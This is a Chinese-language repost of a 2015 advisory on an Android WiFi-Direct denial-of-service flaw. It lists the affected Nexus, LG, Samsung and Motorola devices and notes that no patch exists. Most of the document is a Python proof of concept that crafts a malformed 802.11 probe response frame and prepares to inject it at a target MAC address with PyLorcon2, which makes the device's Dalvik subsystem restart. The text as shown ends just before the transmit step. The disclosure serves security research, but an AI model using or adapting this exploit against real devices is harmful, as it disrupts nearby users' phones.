[CORE-2015-0002] – 安卓Wifi直连拒绝服务漏洞

lxj616 (简介) | 2015-01-29 12:06

[CORE-2015-0002] – Android WiFi-Direct Denial of Service

http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本：

   . Nexus 5 – Android 4.4.4

   . Nexus 4 – Android 4.4.4

   . LG D806 – Android 4.2.2

   . Samsung SM-T310 – Android 4.2.2

   . Motorola RAZR HD – Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小，没有时间修复”，目前该漏洞没有任何补丁

POC：

#!/usr/bin/env python


import sys


import time


import struct


import PyLorcon2
def get_probe_response(source, destination, channel):


  frame = str()


  frame += "\x50\x00"  # Frame Control


  frame += "\x00\x00"  # Duration


  frame += destination


  frame += source


  frame += source


  frame += "\x00\x00"  # Sequence Control


  frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp


  frame += "\x64\x00"  # Beacon Interval


  frame += "\x30\x04"  # Capabilities Information
  # SSID IE


  frame += "\x00"


  frame += "\x07"


  frame += "DIRECT-"
  # Supported Rates


  frame += "\x01"


  frame += "\x08"


  frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"
  # DS Parameter Set


  frame += "\x03"


  frame += "\x01"


  frame += struct.pack("B", channel)
  # P2P


  frame += "\xDD"


  frame += "\x27"


  frame += "\x50\x6F\x9A"


  frame += "\x09"


  # P2P Capabilities


  frame += "\x02" # ID


  frame += "\x02\x00" # Length


  frame += "\x21\x00"


  # P2P Device Info


  frame += "\x0D" # ID


  frame += "\x1B\x00" # Length


  frame += source


  frame += "\x01\x88"


  frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"


  frame += "\x00"


  frame += "\x10\x11"


  frame += "\x00\x06"


  frame += "fafa\xFA\xFA"
  return frame
def str_to_mac(address):


  return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))
if __name__ == "__main__":


  if len(sys.argv) != 3:


    print "Usage:"


    print "  poc.py <iface> <target>"


    print "Example:"


    print "  poc.py wlan0 00:11:22:33:44:55"


    sys.exit(-1)
  iface = sys.argv[1]


  destination = str_to_mac(sys.argv[2])
  context = PyLorcon2.Context(iface)


  context.open_injmon()
  channel = 1


  source = str_to_mac("00:11:22:33:44:55")


  frame = get_probe_response(source, destination, channel)